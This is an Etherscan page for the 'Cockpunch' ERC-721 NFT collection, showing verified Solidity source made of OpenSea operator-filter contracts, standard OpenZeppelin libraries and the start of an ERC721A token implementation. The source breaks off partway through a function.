ERC-721
Overview
Max Total Supply
2,373 COCKPUNCH
Holders
348
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
5 COCKPUNCHLoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Cockpunch
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-07 */ // SPDX-License-Identifier: MIT // File: contracts/IOperatorFilterRegistry.sol pragma solidity ^0.8.13; interface IOperatorFilterRegistry { function isOperatorAllowed(address registrant, address operator) external view returns (bool); function register(address registrant) external; function registerAndSubscribe(address registrant, address subscription) external; function registerAndCopyEntries(address registrant, address registrantToCopy) external; function unregister(address addr) external; function updateOperator(address registrant, address operator, bool filtered) external; function updateOperators(address registrant, address[] calldata operators, bool filtered) external; function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external; function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external; function subscribe(address registrant, address registrantToSubscribe) external; function unsubscribe(address registrant, bool copyExistingEntries) external; function subscriptionOf(address addr) external returns (address registrant); function subscribers(address registrant) external returns (address[] memory); function subscriberAt(address registrant, uint256 index) external returns (address); function copyEntriesOf(address registrant, address registrantToCopy) external; function isOperatorFiltered(address registrant, address operator) external returns (bool); function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool); function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool); function filteredOperators(address addr) external returns (address[] memory); function filteredCodeHashes(address addr) external returns (bytes32[] memory); function filteredOperatorAt(address registrant, uint256 index) external returns (address); function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32); function isRegistered(address addr) external returns (bool); function codeHashOf(address addr) external returns (bytes32); } // File: contracts/OperatorFilterer.sol pragma solidity ^0.8.13; /** * @title OperatorFilterer * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another * registrant's entries in the OperatorFilterRegistry. * @dev This smart contract is meant to be inherited by token contracts so they can use the following: * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods. * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods. */ abstract contract OperatorFilterer { error OperatorNotAllowed(address operator); IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E); constructor(address subscriptionOrRegistrantToCopy, bool subscribe) { // If an inheriting token contract is deployed to a network without the registry deployed, the modifier // will not revert, but the contract will need to be registered with the registry once it is deployed in // order for the modifier to filter addresses. if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) { if (subscribe) { OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy); } else { if (subscriptionOrRegistrantToCopy != address(0)) { OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy); } else { OPERATOR_FILTER_REGISTRY.register(address(this)); } } } } modifier onlyAllowedOperator(address from) virtual { // Check registry code length to facilitate testing in environments without a deployed registry. if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) { // Allow spending tokens from addresses with balance // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred // from an EOA. if (from == msg.sender) { _; return; } if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), msg.sender)) { revert OperatorNotAllowed(msg.sender); } } _; } modifier onlyAllowedOperatorApproval(address operator) virtual { // Check registry code length to facilitate testing in environments without a deployed registry. if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) { if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) { revert OperatorNotAllowed(operator); } } _; } } // File: contracts/DefaultOperatorFilterer.sol pragma solidity ^0.8.13; /** * @title DefaultOperatorFilterer * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription. */ abstract contract DefaultOperatorFilterer is OperatorFilterer { address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6); constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {} } // File: contracts/contract.sol // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * === * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Tree proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Calldata version of {verify} * * _Available since v4.7._ */ function verifyCalldata( bytes32[] calldata proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProofCalldata(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Calldata version of {processProof} * * _Available since v4.7._ */ function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}. * * _Available since v4.7._ */ function multiProofVerify( bytes32[] memory proof, bool[] memory proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProof(proof, proofFlags, leaves) == root; } /** * @dev Calldata version of {multiProofVerify} * * _Available since v4.7._ */ function multiProofVerifyCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProofCalldata(proof, proofFlags, leaves) == root; } /** * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`, * consuming from one or the other at each step according to the instructions given by * `proofFlags`. * * _Available since v4.7._ */ function processMultiProof( bytes32[] memory proof, bool[] memory proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Calldata version of {processMultiProof} * * _Available since v4.7._ */ function processMultiProofCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { return a < b ? _efficientHash(a, b) : _efficientHash(b, a); } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { /// @solidity memory-safe-assembly assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: ERC721A.sol pragma solidity ^0.8.0; error ApprovalCallerNotOwnerNorApproved(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; bytes32 public ListWhitelistMerkleRoot; //////////////////////////////////////////////////////////////////////////////////////////////////////// new 1 //Allow all tokens to transfer to contract bool public allowedToContract = false; ///////////////////////////////////////////////////////////////////////////////////////////////////// new 2 // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Mapping token to allow to transfer to contract mapping(uint256 => bool) public _transferToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1 mapping(address => bool) public _addressTransferToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1 /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 